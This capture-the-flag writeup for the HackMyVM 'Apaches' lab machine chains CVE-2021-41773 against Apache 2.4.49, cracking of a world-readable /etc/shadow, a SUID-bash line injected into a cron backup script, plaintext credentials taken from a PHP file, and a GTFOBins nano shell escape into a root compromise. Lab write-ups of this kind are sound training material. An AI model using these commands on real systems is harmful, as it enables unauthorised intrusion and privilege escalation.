Apaches - HackMyVM Writeup

Difficulty

Easy

Published Date

August 1, 2026

Summary

“This machine is an easy machine. It should not be difficult gaining the root.”

Enumeration

Starting with nmap, we can see an HTTP service open.

└─$ nmap 10.0.1.110 -p- -T4 -oN all-ports
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-31 13:01 MDT
Nmap scan report for 10.0.1.110
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: BC:24:11:FA:09:1E (Proxmox Server Solutions GmbH)

Nmap done: 1 IP address (1 host up) scanned in 1.07 seconds

The landing page looks pretty standard.

To start our web enumeration, let's use whatweb to see what technologies are being used here:

└─$ whatweb http://10.0.1.110/
http://10.0.1.110/ [200 OK] Apache[2.4.49], Bootstrap, Country[RESERVED][ZZ], Email[info@apaches.ctf], HTML5, HTTPServer[Unix][Apache/2.4.49 (Unix)], IP[10.0.1.110], JQuery[1.10.2], Lightbox, Script, Title[Apaches]

Apache version looks interesting, let's go back to that later. Looking for additional directories with gobuster, we can't really find anything interesting, asides from directories hosting media used in the website.

└─$ gobuster dir -u http://10.0.1.110/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -t 50
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.0.1.110/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 233] [--> http://10.0.1.110/images/]
/css                  (Status: 301) [Size: 230] [--> http://10.0.1.110/css/]
/js                   (Status: 301) [Size: 229] [--> http://10.0.1.110/js/]
/fonts                (Status: 301) [Size: 232] [--> http://10.0.1.110/fonts/]
Progress: 220558 / 220558 (100.00%)
===============================================================
Finished
===============================================================

Is there anything interesting in robots.txt?

The base64-encoded text reveals the following message:

└─$ echo "IOKAnFlvdSBrbm93IHlvdXIgcGF0aCwgY2hpbGQsIG5vdyBmb2xsb3cgaXQu4oCdCi0tIFBvY2Fob250YXMg" | base64 -d
 “You know your path, child, now follow it.”
-- Pocahontas

This hint appears to make a reference to a Path Traversal vulnerability...

Going back to the Apache version we found, it seems that this specific version of Apache is vulnerable to CVE-2021-41773, described as a "Path Traversal & Remote Code Execution (RCE)" vulnerability! I found a GitHub PoC with a payload pointing to /bin/sh, which should give me a shell in the machine (GitHub).

Let's test our the payload...

└─$ python CVE-2021-41773.py -t 10.0.1.110
--------------------------------------------------------
|                Apache2 2.4.49 - Exploit              |
--------------------------------------------------------
>>> whoami
daemon

Great, we have a shell as daemon! However, it seems that I can't do much inside this shell. Let's try getting a shell as another user.

daemon -> squanto

First, we need to know which accounts are available as a target for lateral movement. Looking into the /home directory, we can see many accounts containing a user.txt flag, which is our user flag. Additionally, we can find a few interesting files inside the home directories of a few users.

>>> ls -l /home/*
/home/geronimo:
total 4
-rw------- 1 geronimo geronimo 3827 Oct 10  2022 user.txt

/home/pocahontas:
total 12
-rw------- 1 pocahontas pocahontas 10267 Oct 10  2022 user.txt

/home/sacagawea:
total 20
drwxrwxr-x 2 sacagawea sacagawea 4096 Aug  1 15:12 Backup
drwxrwxr-x 7 sacagawea sacagawea 4096 Oct 10  2022 Development
drwxrwxr-x 2 sacagawea sacagawea 4096 Oct 10  2022 Scripts
-rw-rw---- 1 sacagawea sacagawea 5899 Jul 13  2023 user.txt

/home/squanto:
total 12
drwxrwxr-x 2 squanto squanto 4096 Oct 10  2022 backup
-rw-rw-r-- 1 squanto squanto  156 Oct 10  2022 todo.md
-rw------- 1 squanto squanto 2070 Oct  9  2022 user.txt

Doing some deeper enumeration, we can find that the /etc/shadow file is world-readable! We can extract the password hashes from each account and attempt to crack them.

>>> ls -l /etc/shadow
-rw-r--r-- 1 root shadow 1434 Oct 10  2022 /etc/shadow

Let's try to get any passwords for the machine's users with John the Ripper.

└─$ unshadow passwd shadow > mypasswd
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt  mypasswd
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

iamtheone        (squanto)

After a few minutes, we get our first password! Now, we can ssh as the squanto user.

└─$ ssh squanto@10.0.1.110
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html




                                                                        >>       >======>         >>           >=>    >=>    >=> >=======>   >=>>=>
                                                                       >>=>      >=>    >=>      >>=>       >=>   >=> >=>    >=> >=>       >=>    >=>
                                                                      >> >=>     >=>    >=>     >> >=>     >=>        >=>    >=> >=>        >=>
                          ~                                          >=>  >=>    >======>      >=>  >=>    >=>        >=====>>=> >=====>      >=>
                    7~   ~&.                                        >=====>>=>   >=>          >=====>>=>   >=>        >=>    >=> >=>             >=>
                    G!J !75!   ~G     :                            >=>      >=>  >=>         >=>      >=>   >=>   >=> >=>    >=> >=>       >=>    >=>
                   ?~:B!. 5Y^!~^B. :~J&                           >=>        >=> >=>        >=>        >=>    >===>   >=>    >=> >=======>   >=>>=>
                 .GG?~    B^...PB?!^ ?5 .
                7&G:  7. JB7?7^..   ^&P&Y .7#                     If at first you don't succeed. Try, try again! Sometimes the second time returns more!
              .GG.  ~J. ?@5:  :~.  Y@@@@??!?#
             :#~  ~Y~  JJ  :77: .J&@#57:  :&!.~Y  .:
            :&. ^P7  ^J::!7^.:!YJ!:....  Y@@@@@&J5@!
            @7 Y5  :GP77~::~!~...:^:..:J#&#GPJ!:.PG
           P@~B# ^B@G~^^!!~^^^^:...^7J7.       ^BP^?:
          ^@@@@@&@#~7G5J7~::.:^~?JJ7~::^^~~~?B@@@@@&
          &J!7?P#@B@@@B!:!?77???7!~~!!?J5PPP5YJ??YPYJ~.
         ?P       :?B@&#@#?7!^^~?55Y7^:..       .^?J5Y^
         ?B^^^::..    ~G&@#YP#&@B!....::::^~75B&@@@@#G!
         :&~J?P&@@G?7!^..BG!~7B@#5J7!!7?JPGBB#BB&&@@B^
         !5 ##J?PY    :JP&    .@&G5JY5GG57^:...   .~YBJ
        ~5  :P7!^ ..^   ~@P~~~BB7^:.  .:~5G! .:!5B&@G!!.
       .P      ~PGB#5   P:5!B&7~:Y&#&B&&#GPY7!!?5B@@&G:
       Y7   ^^ .5GGB!  5~!7:7!G:. 7B7?~^^?G#P!....:GP
       .~^JJ^   .     .G #..J ##!  J#~..:.  .7P#?^:.
          !Y:^. ?.    ~Y &  7 PJ!P7^@@&Y!^^.  .J&Y
           P!         ~P @. : Y&  5GPJ#??~~?#G!!!7.
           !?       ^?J&.#J   B##: .  B7:.   5^
            !!^.:!PP^  !G!&.  5^7?J   ?#:~~^.:B^
              .::..!?   .!JG. &^  BG~.:@       .
                    JG!!^..5YYG5^ &..~Y&
                   .G...^?~  .  JB!    .
                   .G!7!:

squanto@10.0.1.110's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-128-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 01 Aug 2026 03:38:06 PM UTC

  System load:  0.0                Processes:              121
  Usage of /:   20.1% of 39.07GB   Users logged in:        0
  Memory usage: 10%                IPv4 address for ens18: 10.0.1.110
  Swap usage:   0%


143 updates can be installed immediately.
2 of these updates are security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Aug  1 15:24:23 2026 from 10.0.1.5
squanto@apaches:~$

squanto -> sacagawea

We can observe that our user belongs to another group: Lipan.

squanto@apaches:~$ id
uid=1001(squanto) gid=1001(squanto) groups=1001(squanto),1004(Lipan)

Can this specific group read/write into any files?

squanto@apaches:~$ find / -type f -group Lipan -perm /g+w 2>/dev/null
/home/sacagawea/Scripts/backup.sh

We can write to a script owned by another user! This script looks quite ordinary...

squanto@apaches:~$ cat /home/sacagawea/Scripts/backup.sh
#!/bin/bash

rm -rf /home/sacagawea/Backup/Backup.tar.gz
tar -czvf /home/sacagawea/Backup/Backup.tar.gz /usr/local/apache2.4.49/htdocs
chmod 700 /home/sacagawea/Backup/Backup.tar.gz

When is this script executed? It looks like a script that is run periodically for backup purposes. Let's check cron files to find if this script is part of a cronjob.

squanto@apaches:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

[...]

#* 5 * * * * su sacagawea -c "./home/sacagawea/Scripts/backup.sh"

We can modify this script to get a shell as sacagawea by creating a copy of /bin/bash with SUID perms for that user.

squanto@apaches:~$ cat /home/sacagawea/Scripts/backup.sh
#!/bin/bash

rm -rf /home/sacagawea/Backup/Backup.tar.gz
tar -czvf /home/sacagawea/Backup/Backup.tar.gz /usr/local/apache2.4.49/htdocs
chmod 700 /home/sacagawea/Backup/Backup.tar.gz

cp /bin/bash /tmp/bash1 && chmod +s /tmp/bash1

After the cronjob runs, we can simply run /tmp/bash1 -p to get a shell as sacagawea.

squanto@apaches:~$ /tmp/bash1 -p
bash1-5.0$ id
uid=1001(squanto) gid=1001(squanto) euid=1002(sacagawea) egid=1002(sacagawea) groups=1002(sacagawea),1001(squanto),1004(Lipan)

The user flag is stored here as user.txt!

sacagawea -> pocahontas

Looking into this user's home directory, we can observe the Developmentdirectory. This directory appears to contain the contents of the website, as well as an admin directory only accessible by sacagawea.

bash1-5.0$ pwd
/home/sacagawea/Development
bash1-5.0$ ls -la
total 68
drwxrwxr-x 7 sacagawea sacagawea  4096 Oct 10  2022 .
drwxr-xr-x 6 sacagawea sacagawea  4096 Jul 13  2023 ..
drwx------ 2 sacagawea sacagawea  4096 Oct  6  2022 admin
drwxrwxr-x 2 sacagawea sacagawea  4096 Oct 10  2022 css
drwxrwxr-x 2 sacagawea sacagawea  4096 Oct 10  2022 fonts
drwxrwxr-x 4 sacagawea sacagawea  4096 Oct 10  2022 images
-rwxrwxr-x 1 sacagawea sacagawea 33940 Oct 10  2022 index.html
drwxrwxr-x 2 sacagawea sacagawea  4096 Oct 10  2022 js
-rwxrwxr-x 1 sacagawea sacagawea   116 Oct 10  2022 robots.txt

Inside this admin directory, we can find information about future development files. Additionally, we can find more user credentials for the other users in the machine within the 2-check.php file.

bash1-5.0$ ls
1a-login.php  1b-login.css  2-check.php  3-protect.php
bash1-5.0$ cat 2-check.php | grep -i pass -n5
2-// (A) START SESSION
3-session_start();
4-
5-// (B) HANDLE LOGIN
6-if (isset($_POST["user"]) && !isset($_SESSION["user"])) {
7:  // (B1) USERS & PASSWORDS - SET YOUR OWN !
8-  $users = [
9-    "geronimo" => "12u7D9@4IA9uBO4pX9#6jZ3456",
10-    "pocahontas" => "y2U1@8Ie&OHwd^Ww3uAl",
11-    "squanto" => "4Rl3^K8WDG@sG24Hq@ih",
12-    "sacagawea" => "cU21X8&uGswgYsL!raXC"
13-  ];",
11-    "squanto" => "4Rl3^K8WDG@sG24Hq@ih",
12-    "sacagawea" => "cU21X8&uGswgYsL!raXC"
13-  ];

Can we get a shell as any of these other users? The creds for pocahontas are valid, and I can get a shell as the pocahontas user through SSH.

pocahontas@apaches:~$ id
uid=1003(pocahontas) gid=1003(pocahontas) groups=1003(pocahontas)
pocahontas@apaches:~$ ls
user.txt

pocahontas -> geronimo

The pocahontas account can execute nano as the geronimo user. This should be a straightforward way of getting access to the geronimo account.

pocahontas@apaches:~$ sudo -l
Matching Defaults entries for pocahontas on apaches:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pocahontas may run the following commands on apaches:
    (geronimo) /bin/nano

The payload to get a shell as geronimo can be found in GTFOBins.

sudo -u geronimo nano
^R^X
reset; sh 1>&0 2>&0

Executing this payload will give us a shell as geronimo.

geronimo -> root

Looking at what groups geronimo belongs, we will be able to find that this user belongs to the sudo group!

$ id
uid=1000(geronimo) gid=1000(geronimo) groups=1000(geronimo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)

Escalating to root becomes trivial: sudo su.

$ sudo su
root@apaches:/home/geronimo# id
uid=0(root) gid=0(root) groups=0(root)

The root flag is located inside /root/root.txt.